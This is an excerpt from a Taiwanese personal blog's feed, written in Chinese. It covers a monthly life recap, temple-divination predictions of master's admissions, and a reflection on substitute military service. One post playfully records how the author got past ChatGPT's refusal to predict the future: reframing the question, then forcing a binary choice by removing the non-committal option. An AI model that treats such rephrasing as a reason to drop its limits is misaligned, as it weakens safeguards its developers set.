<p>記錄一下這次用的材料和給西給以後的我 reference：</p>
<ul>
<li>網路線：AMP Cat.6 50m 24AWG U/UTP (大約是$1500)</li>
<li>水晶頭：LINKOMM Cat.6 兩件式 (下次要買就買穿透式的：）</li>
<li>壓線鉗：LINKOMM ($1200，其實好像可以不用到這麼好的 Orz)</li>
<li>資訊插座：Panasonic NRF3170W (一顆好像是 $180 上下)</li>
</ul>
<p>然後剛好中華電信年初寬頻網路費又降價了一次，就去升級到 500M/250M 了，一個月才 $1199，算划啦</p>
<h2 id="-學料理" class="relative group">🍳 學料理 </h2><p>這個月的料理學了<a href="https://docs.tomy.me/oyakodon" target="_blank" rel="noreferrer">炒飯<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>、煎牛排、炒青菜、玉米濃湯。</p>
<p>有點尷尬的是，只有炒飯有記得拍照，然後寫了食譜。其他的料理本來想說之後有再做，拍了照片再寫，但是後面其他要學的東西已經排好日程表了，這樣中間還要插入這些，好像有點困難。</p>
<p>至少慶幸的是，我還是有照計畫在進行，學了一些東西。</p>
<p>另外一點可能要改進的是，我在學這些料理的時候，都還是我媽在旁邊指揮，甚至在某些情況下他會搶回去自己煮。我自己主導的成分有點偏低，這樣似乎沒有辦法達到我一開始預期的目標：以後在美國自己重現這些料理。</p>
<p>所以也許之後會改成，我先稍微去 Google 一下，預習一下，甚至直接把文章寫完，實際下廚完再來看有哪裡跟原本想的不一樣。</p>
<p>這樣或許會學的比較深入一點</p>
<h2 id="-寫程式" class="relative group">⌨️ 寫程式 </h2><p>基礎建設搭起來之後，接下來大概就要開始搭服務起來了。為了以後可以遷移/規模化還有在既有的架構上去擴充，趁著過年的時間學了 Ansible, Terraform</p>
<p>另外還有學了 Next.js，突然起了念頭想把這個 blog 和作品集全部整合到一個個人網站裡，但&hellip;這個餅似乎畫的有點太大了。</p>
<p>(謎之音：不對欸，你的 blog 都還沒上架就要腰斬了嗎</p>
<h2 id="-misc" class="relative group">❓ Misc </h2><p>其他這個月做的小雜事和小嘗試</p>
<h3 id="投實習短期工作" class="relative group">投實習/短期工作 </h3><p>其實我也沒有特別想做這件事，而且坦白說我不覺得哪間公司會想聘一個人進來，可能屁股都還沒坐熱 8 月底就要高歌離席，所以雖然有稍微修了履歷然後投了幾間大公司，但我是不期待會真的有什麼結果。</p>
<p>但也是為了投這一波，所以我才有動力在很短的時間內，把作品集的網站倉促上架。接下來幾個月的工作，就是要再花一點時間把他包裝的更精緻一點，年底拿去投明年暑期的實習。</p>
<h3 id="泡湯" class="relative group">泡湯 </h3><p>自從 3 年前去日本泡湯回來，就開始喜歡上泡湯了。如果扣掉那一趟不算的話，上一次在公共浴場泡湯應該是很小的時候了。</p>
<p>後來也因為疫情，加上生活變得忙很多，還有家人都沒什麼興趣，所以回來之後也一直沒有再去。難得現在算是閒了下來，就去把美國運通有提供優惠的湯屋看了一輪，預約在過完年開工日下午，去三二行館泡湯。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-january-dump/villa32.jpg"
      class="mx-auto my-0 rounded-md"
      alt="三二行館"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">三二行館的門口沒有任何的招牌或看板，只有一個低調內斂的 32 門牌</figcaption>
</figure>
</p>
<p>三二行館真的是一個很神奇的地方。</p>
<p>在去之前我沒有認真的研究過，到了才發現，我好像不小心找了一個很不得了的湯屋。與其說是去泡湯，其實感覺比較像是被邀去某個名流貴族的私人招待所，在裡面度過一個悠閒的下午。裡面除了泡湯池，也有靜心的和室、睡眠艙，和一個休息的客廳，可以在裡面吃一些小點心，然後聽音樂看雜誌或報紙。我也在泡湯之餘，在和室看完《原子習慣》的最後一章。</p>
<h3 id="林安泰古厝" class="relative group">林安泰古厝 </h3><p>從歐洲回來的之後，我開始思考，去了那麼多城市，我都是看旅遊網站的介紹去各個觀光客的景點。那如果反過來，我住了 20 幾年的台北，在旅遊網站和旅遊書裡，會推薦大家去哪裡？</p>
<p>不查不知道，<a href="https://web.archive.org/web/20220729024146/https://www.lonelyplanet.com/best-in-travel/cities" target="_blank" rel="noreferrer">台北可是有排上 Lonely Planet 2022 年年度最佳旅遊城市的第 2 名<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，於是我買了一本他們的台北旅遊指南，翻一翻外國人是怎麼欣賞這座城市的。</p>
<p>其中不泛一些常見的景點，像是故宮、台北 101、中正紀念堂&hellip;等等，大部分都還可以理解，直到我發現了一個我聽都沒聽過的————林安泰古厝</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2023-january-dump/lin-an-tai-house.jpg"
      class="mx-auto my-0 rounded-md"
      alt="林安泰古厝"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>林安泰古厝原本座落在敦化南路旁，因為拓寬的需求，所以被遷到現在的濱江公園，然後後來在舉辦花博的時候獲得一大筆經費建造了現在的庭院造景。所以除了建材是當時原本的古厝拆下來重建，現在看到的大部分的東西全部都是後來才有的。(說實在我有點不能理解，這樣保存下來的意義還剩多少)</p>
<p>很多跨國公司，特別是時尚產業，似乎很喜歡在一些景點舉行發表會或募款活動之類的，我想如果台灣有這樣的風氣的話，說不定這裡會是一個很適合的地點也說不定。</p>
<p>總而言之，對西方人來說，這就是一個中華文化味十足的地方，也難怪會被收錄在旅遊書籍裡。</p>
<p>旅行在很多人的第一個直覺裡經常是「體驗當地的文化和生活」，但林安泰古厝就是一個很好的反例，它是一個文化感和體驗感都十分豐富的景點，如果我有外國的朋友我也會推薦給他。但這很顯然不能跟台北市民的日常文化劃上等號。</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2023-january-dump</guid><pubDate>Tue, 14 Feb 2023 14:52:11 +0800</pubDate></item><item><title>CS 碩士申請大預測 - ChatGPT × 教 ChatGPT 擲筊</title><link>https://blog.tomy.me/zh-tw/posts/mscs-prediction-chatgpt/</link><description>如果人工智慧也是一種神的話，那當然也要來預測一下吧</description><content:encoded><![CDATA[<p>昨天發完我<a href="/zh-tw/posts/mscs-prediction/">去各大廟擲筊結果</a>的文之後，我又想到一個 idea：</p>
<blockquote>
<p>竟然大家都把 ChatGPT 當神在拜，那我怎麼可以不把他納進我的實驗裡呢 xDDDD</p>
</blockquote>
<p>所以今天我花了一個下午來研究要怎麼做到這件事，順便一下紀錄這個過程。</p>
<h2 id="-實驗設計" class="relative group">🔬 實驗設計 </h2><p>雖然 ChatGPT 就是一個對話機器人，所以理論上我可以很直接的問他：「XXX program，我會不會上」。但這會有兩個問題，第一個問題是，Open AI 有對模型進行限制，所以他會避免回答很明顯的預測未來的事情。再來是實驗的設計，在上一篇的實驗設計裡，雖然神可能是有一個意識的 (我們姑且先這麼假設啦)，但是我們是透過擲筊這個媒介來讓神的旨意來傳達給我們，就算他可能有再多的想法或是但書，我們接受到的訊息就是只有「聖筊」或是「陰筊」，所以理論上我們應該也要公平的把這個限制施加在 ChatGPT 身上。</p>
<h3 id="確認-chatgpt-知道什麼是擲筊" class="relative group">確認 ChatGPT 知道什麼是「擲筊」 </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-prediction-chatgpt/poe-divination-101.png"
      class="mx-auto my-0 rounded-md"
      alt="ChatGPT 不會擲筊"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>好吧，顯然 ChatGPT 沒聽過什麼是「擲筊」。所以我就把維基百科的解釋先貼給他，教他這是怎麼運作的。(雖然如果是一個真人，只看這兩段描述大概也不知道這是在公三小xDDDDDD)</p>
<h3 id="試個水溫" class="relative group">試個水溫 </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-prediction-chatgpt/ask-to-poe.png"
      class="mx-auto my-0 rounded-md"
      alt="ChatGPT 拒絕回答"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>既然 ChatGPT 現在知道「擲筊」怎麼運作了，就可以開始問了。我儘量避免在我的問句裡暗示我是在問一個「預測」的問題，但顯然 ChatGPT 有真的理解到擲筊這件事情明顯就是在求一個指示，所以會拒絕回答。</p>
<p>我後來想到可以轉一個彎，改問他如果我去廟裡擲筊會擲出什麼。有點像是說我不問你這件事情本身，但問你猜其他人會怎麼想 (只是這個其他人是一個想像的人)。但可能對 ChatGPT 來說，預測別人的想法還是一種猜測吧。</p>
<h3 id="讓我們再試一次" class="relative group">讓我們再試一次 </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-prediction-chatgpt/just-smiling.png"
      class="mx-auto my-0 rounded-md"
      alt="ChatGPT 只會回笑筊"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>後來轉念一想，幹嘛這麼麻煩，不如簡單粗暴一點，直接叫他給我 3 種選項裡面其中一種就對了。 (有點像拋硬幣)</p>
<p>結果一試才發現，哎呦這個模型真的是挺狡猾的，他其實有 get 到「笑筊」的精髓欸，反正不想回答的時候就一直回這個答案就對了</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-prediction-chatgpt/hint-for-other-options.png"
      class="mx-auto my-0 rounded-md"
      alt="ChatGPT 承認自己沒有真的在回答"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>好啊所以問到底他其實根本沒有在認真回答問題，只是拿「笑筊」來敷衍我啊：）</p>
<h3 id="曙光乍現" class="relative group">曙光乍現 </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-prediction-chatgpt/voila.png"
      class="mx-auto my-0 rounded-md"
      alt="ChatGPT 終於肯好好回答啦"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>反正我們在之前的實驗設計已經確定，「笑筊」不算是一個正式的答案，那還不如我就直接把這個選項抽掉。</p>
<p>簡單觀察一下，的確是開始有出現一些「聖筊」、「陰筊」交錯的結果，那就當作他有在認真回答啦</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/mscs-prediction-chatgpt/minor-rule.png"
      class="mx-auto my-0 rounded-md"
      alt="小幅修正一下規則"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>後來又多試了幾個問題之後，我發現他會回答連續很多次的「聖筊」或是「陰筊」，其實不太符合實際的情況，所以我又下了一條指令來修正。</p>
<p>那後續的實驗結果就是在這次修正之後產生的答案，中間沒有再修正過規則。</p>
<h2 id="-實驗結果" class="relative group">📊 實驗結果 </h2><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th>ChatGPT</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CMU</td>
          <td>MCDS</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>CMU</td>
          <td>MSCS</td>
          <td>❌ ❌ ✅</td>
      </tr>
      <tr>
          <td>CMU</td>
          <td>MSE-SS</td>
          <td>❌ ✅ ❌</td>
      </tr>
      <tr>
          <td>Rice</td>
          <td>MCS</td>
          <td>✅ ✅ ✅</td>
      </tr>
      <tr>
          <td>Stanford</td>
          <td>MCS</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>TAMU</td>
          <td>MCS</td>
          <td>✅ ❌ ✅</td>
      </tr>
      <tr>
          <td>UC Davis</td>
          <td>MSCS</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>UC Irvine</td>
          <td>MSWE</td>
          <td>✅ ✅ ✅</td>
      </tr>
      <tr>
          <td>UC Santa Barbara</td>
          <td>MSCS</td>
          <td>✅ ✅ ✅</td>
      </tr>
      <tr>
          <td>UIUC</td>
          <td>MCS</td>
          <td>✅ ✅ ✅</td>
      </tr>
      <tr>
          <td>USC</td>
          <td>MSCS</td>
          <td>✅ ❌ ✅</td>
      </tr>
      <tr>
          <td>USC</td>
          <td>MSCS-AI</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>UVA</td>
          <td>MCS</td>
          <td>✅ ❌ ❌</td>
      </tr>
  </tbody>
</table>
<figcaption>跟前面一樣， ✅ 代表「聖筊」； ❌ 代表「陰筊」</figcaption>
<p>那就一樣等到時候開獎再一起回顧囉</p>
<p>如果有人有興趣的話，我有保留了完整的<a href="chat-history.png">對話截圖</a></p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">mscs-prediction-chatgpt</guid><pubDate>Sun, 12 Feb 2023 21:08:29 +0800</pubDate></item><item><title>CS 碩士申請大預測 - 資料收集篇</title><link>https://blog.tomy.me/zh-tw/posts/mscs-prediction/</link><description>讓諸神來預測一下我會上哪些學校吧</description><content:encoded><![CDATA[<p>自從退伍之後，申請 CS 碩士的文件也都差不多發射完了，我的生活也開始進入 8 個月的長假模式。</p>
<p>大年初一，我們家照慣例都會去鎮上的廟裡拜拜，過年嘛，真的是太閒了，我腦中就閃過一個有趣的想法：</p>
<blockquote>
<p>不如就來讓神明預測一下，我會上哪些學校好了</p>
</blockquote>
<p>然後我還可以巡迴各大廟，看看哪間廟最靈 XDDDDDD</p>
<h2 id="-實驗設計" class="relative group">🔬 實驗設計 </h2><p>基本上按照的就是維基百科的規則來<a href="https://zh.wikipedia.org/wiki/%E6%93%B2%E7%AD%8A" target="_blank" rel="noreferrer">擲筊<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：</p>
<ul>
<li>一開始先報我的基本資料，然後跟神明說我要來問哪間學校會上</li>
<li>然後以 Program 為單位開始問</li>
<li>總共會擲出 3 次結果，如果擲到「笑筊」就不算，再擲一次</li>
</ul>
<h2 id="-實驗結果" class="relative group">📊 實驗結果 </h2><table>
  <thead>
      <tr>
          <th></th>
          <th></th>
          <th>西港慶安宮</th>
          <th>新寮新安宮</th>
          <th>行天宮</th>
          <th>台北市文昌宮</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>CMU</td>
          <td>MCDS</td>
          <td>✅ ❌ ✅</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ✅</td>
      </tr>
      <tr>
          <td>CMU</td>
          <td>MSCS</td>
          <td>✅ ❌ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ❌ ✅</td>
          <td>✅ ❌ ❌</td>
      </tr>
      <tr>
          <td>CMU</td>
          <td>MSE-SS</td>
          <td>✅ ✅ ❌</td>
          <td>❌ ✅ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>❌ ❌ ✅</td>
      </tr>
      <tr>
          <td>NCSU</td>
          <td>MCS</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ✅</td>
          <td></td>
          <td></td>
      </tr>
      <tr>
          <td>NYU Tandon</td>
          <td>MSCS</td>
          <td>✅ ✅ ✅</td>
          <td>❌ ✅ ❌</td>
          <td></td>
          <td></td>
      </tr>
      <tr>
          <td>Rice</td>
          <td>MCS</td>
          <td>✅ ✅ ❌</td>
          <td>❌ ✅ ✅</td>
          <td>❌ ✅ ✅</td>
          <td>✅ ❌ ✅</td>
      </tr>
      <tr>
          <td>Stanford</td>
          <td>MCS</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>TAMU</td>
          <td>MCS</td>
          <td>✅ ❌ ✅</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ❌ ❌</td>
      </tr>
      <tr>
          <td>UC Davis</td>
          <td>MSCS</td>
          <td>✅ ❌ ❌</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ❌ ✅</td>
      </tr>
      <tr>
          <td>UC Irvine</td>
          <td>MSWE</td>
          <td>✅ ✅ ❌</td>
          <td>❌ ✅ ✅</td>
          <td>✅ ❌ ✅</td>
          <td>✅ ✅ ❌</td>
      </tr>
      <tr>
          <td>UC Santa Barbara</td>
          <td>MSCS</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>UIUC</td>
          <td>MCS</td>
          <td>❌ ✅ ❌</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ❌</td>
          <td>✅ ✅ ✅</td>
      </tr>
      <tr>
          <td>USC</td>
          <td>MSCS</td>
          <td>✅ ❌ ✅</td>
          <td>❌ ❌ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>❌ ✅ ✅</td>
      </tr>
      <tr>
          <td>USC</td>
          <td>MSCS-AI</td>
          <td>✅ ❌ ✅</td>
          <td>❌ ✅ ✅</td>
          <td>❌ ✅ ✅</td>
          <td>❌ ✅ ❌</td>
      </tr>
      <tr>
          <td>UVA</td>
          <td>MCS</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ✅ ✅</td>
          <td>✅ ✅ ❌</td>
          <td>❌ ✅ ❌</td>
      </tr>
  </tbody>
</table>
<figcaption>其中 ✅ 代表「聖筊」； ❌ 代表「陰筊」</figcaption>
<p>我大年初一 (1/22) 當天想到這個主意的時候，就先把台南老家的兩間廟擲了一輪。也有計畫要多擲幾間廟</p>
<p>結果後來拖延症發作 XDDDDD，不小心就收到 NYU Tandon 和 NCSU 的結果了，所以後續這兩間就沒有再繼續擲</p>
<p>那接下來就等之後陸續開獎再回來對答案囉~</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">mscs-prediction</guid><pubDate>Sun, 12 Feb 2023 00:55:06 +0800</pubDate></item><item><title>與軍旅生活的一期一會：消防替代役</title><link>https://blog.tomy.me/zh-tw/posts/substitute-military-at-nfa/</link><description>結果最大的體悟反而跟當兵一點屁毛關係都沒有</description><content:encoded><![CDATA[<p>我的退伍日期剛好落在今年的 1/1，算一算也一個月了。寫一下我對這 3 個半月的所見所聞的想法</p>
<p>保密是軍人的天職，以下「事蹟」的部分 (新訓和消防署) 有約 20% ~ 50% 不等是我憑空杜撰的。如有巧合，不一定是雷同</p>
<h2 id="制度" class="relative group">制度 </h2><p>剛好在我當兵的期間遇到兵役延長為一年，為了幫助我以後回想，還有我的女性讀者 (不對吧，其實根本沒有吧 (摳鼻) 在這邊簡單介紹一下</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/substitute-military-at-nfa/new-system.png"
      class="mx-auto my-0 rounded-md"
      alt="替代役改制"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">一般替代役和研發替代役即將在 94 年次以後走入歷史</figcaption>
</figure>
</p>
<p>我因為家人的關係，所以有申請到家庭因素替代役 (簡稱家因)。家因的由來就是役男有需要在家照顧家人的需求，所以可以在住家附近的單位服勤，然後每天返家照顧家人。坦白說，我覺得我其實不符合前面這個「理想」條件，但制度上來說，我是合法有這個資格的，自然也沒有什麼喬不喬的問題。</p>
<p>跟一般替代役 (抽的) 比起來，家因和宗教還有蠻多其他的好處：</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>一般</th>
          <th>家因、宗教</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>役期</td>
          <td>6 個月</td>
          <td>4 個月</td>
      </tr>
      <tr>
          <td>週間備勤地點</td>
          <td>服勤單位 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></td>
          <td>在家 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></td>
      </tr>
      <tr>
          <td>單位</td>
          <td>在新訓期間依分數高低優先選擇</td>
          <td>役政署安排通勤範圍一小時內的服勤地點</td>
      </tr>
  </tbody>
</table>
<p>因為家因和宗教替代役是「有緣由」的，所以這兩種的役期跟一般役一樣是 4 個月，但是還是要跟其他替代役一起進成功嶺進行 14 天的新訓。</p>
<p>另外 83~93 年次的役男不分役別都有最高 15 天的役期折抵，1 個學期的課可以抵 2 天，高中有 2 學期加實彈射擊 1 天，大學有 5 個學期，我修了 3 個學期，總共折到了 11 天。換句話說，扣掉在成功嶺的 14 天，我實際上在消防署只有待到差不多 3 個月而已。</p>
<p>至於教召的話，法律上是有，實務上 99% 沒有 (但還是有發生過)。但我想是與我無關啦嘻嘻</p>
<h2 id="新訓" class="relative group">新訓 </h2><!-- 新訓裡發生的鳥事太多了，忘了我大概也沒什麼好遺憾的，就不寫了。 -->
<p>有些人可能會說，新訓就像夏令營一樣，就是進去玩 14 天。作為一個體驗過這個過程的人，我可以確定這是真的，但還是來補充一些背景和值得一提的細節好了。</p>
<p>新訓是替代役法律上有規定的一個環節，但其實沒有具體規範新訓應該涵蓋哪些內容，但因為替代役包含了像宗教替代役這樣的身分，所以和一般軍隊最大的不同就是「不碰武器」，把內容改成救災救護的部分，其中包含了 5 天的 EMT-1 緊急救護課程，但還是會有體能訓練的部分，只是我這一梯因為疫情少了一大半。另外在編制上，替代役役男和新訓中心是隸屬於內政部役政署，而不是國防部。</p>
<p>所以新訓實際上就是一群不是軍人的長官用模仿軍隊體制的方式在訓練人員。這個說法聽起來很奇怪，但是可以很好的解釋一些裡面的奇怪的規定和現象。最明顯的一點，就是表面上看起來，新訓還是在軍營裡 <sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>，沒有過的比較爽，但實際上可以看到很多隊長和長官帶隊都只是在演戲，就算大家走的亂七八糟其實也沒關係。</p>
<p>總之就想像它是國高中的隔宿露營、生活體驗營或是救國團營隊之類的，把好玩的部分抽掉，然後用值星官出來大吼大叫，沒事找事罵的環節取代，基本上就是替代役的新訓了。</p>
<p>出來的前幾天，幾個鄰兵在聊出去最想吃什麼，不知道為什麼，第一個浮現在我腦中的食物竟然是</p>
<blockquote>
<p>漢堡王</p>
</blockquote>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/substitute-military-at-nfa/american-cheeseburger.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Tony Stark：我想吃起司漢堡"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Tony Stark 逃離十環幫返回美國後的第一件事情：吃起司漢堡</figcaption>
</figure>
</p>
<p>撥交那天我爸開車來消防署載我回家的時候，我簡直就跟<a href="https://youtu.be/09KTGVpKN2U" target="_blank" rel="noreferrer">鋼鐵人這幕<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>一摸一樣 XDDDDDD</p>
<h2 id="消防署" class="relative group">消防署 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/substitute-military-at-nfa/penthouse-office.jpg"
      class="mx-auto my-0 rounded-md"
      alt="資訊室風景"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">資訊室位於消防署最高的 17 樓辦公室，風景還挺宜人的</figcaption>
</figure>
</p>
<p>我在消防署被分配在資訊室，資訊室的工作一般來說只有三件事：</p>
<ol>
<li>送公文</li>
<li>測試緊急通訊設備</li>
<li>其他事項</li>
</ol>
<p>前兩項雖然都有一些小細節需要上手，但真正讓人頭痛的是這個所謂的「其他事項」。比方說，在我被撥交到消防署前沒多久，<a href="https://udn.com/news/story/7320/6485129" target="_blank" rel="noreferrer">消防署的資訊機房發生了火災<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，我聽到的時候也是傻爆眼，還以為消防署是全台灣最不會發生的火災的地方，沒想到<a href="https://youtu.be/VYTD_s7Nt1g?t=365" target="_blank" rel="noreferrer">博恩夜夜秀<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>說的都是真的 (x</p>
<p>總而言之，雖然發生火災的是在 4 樓的資訊機房，但相關單位來徹查整棟大樓的時候，發現資訊室 17 樓的兩個管線機房裡面堆滿了一箱一箱的雜物 (目測約 300~400 箱)，不符合消防法規，所以清理這些雜物就變成了我們役男的工程。</p>
<p>真正低能的部分是，就算這些雜物絕大部分都是已經封好箱的公文和資料，因為銷毀的單位是按箱子數量算的，所以為了節省預算，我們得要一箱一箱拆開，壓縮空間再塞回去。但實際上也就只是 5 箱壓成 4 箱左右的比例，為了做這件事，我們的作業量應聲暴增了好幾倍。</p>
<p>在這邊要特別感謝我的同梯弟兄，在這方面幫我擋掉很多體力活，讓我可以在外面辦公室偷念托福</p>
<p>最後在接近我要退伍的時候，我們被調去南投訓練中心支援消防署的成果展，我們都戲稱這是我的畢業旅行 XDDDDD。但畢竟還是打雜工，所以鳥事自然也是沒少過，太細節就不寫了。</p>
<h2 id="總結" class="relative group">總結 </h2><p>如果撇掉免役不算的話，我當到的應該是台灣兵役史上數一數二的爽兵，時間短，事情不多，又可以每天回家躺，說實在也不該有什麼好抱怨的。</p>
<p>但在消防署我還是可以感覺到，很多人還是會把很多自己不想處理的雜事，全部丟給役男來做，即便那可能不是我們份內的工作。但追根究底，我覺得還是制度的問題，這些人不這麼做反而才是真的奇怪。</p>
<p>當然期間我也在閃掉了不少事，但我想我可以理直氣壯的說：</p>
<ul>
<li>我不會閃那些，最後會砸到其他同梯的鳥事。或至少我會拉著弟兄一起閃，不會冷眼看著別人被砸到</li>
<li>我提供了我覺得 5 千多塊的薪水，值得的服務和水準，也許超過一點點，但絕對沒有太多</li>
</ul>
<p>總結：閃躲飄即便不是在軍營，還是一項很重要的技能。</p>
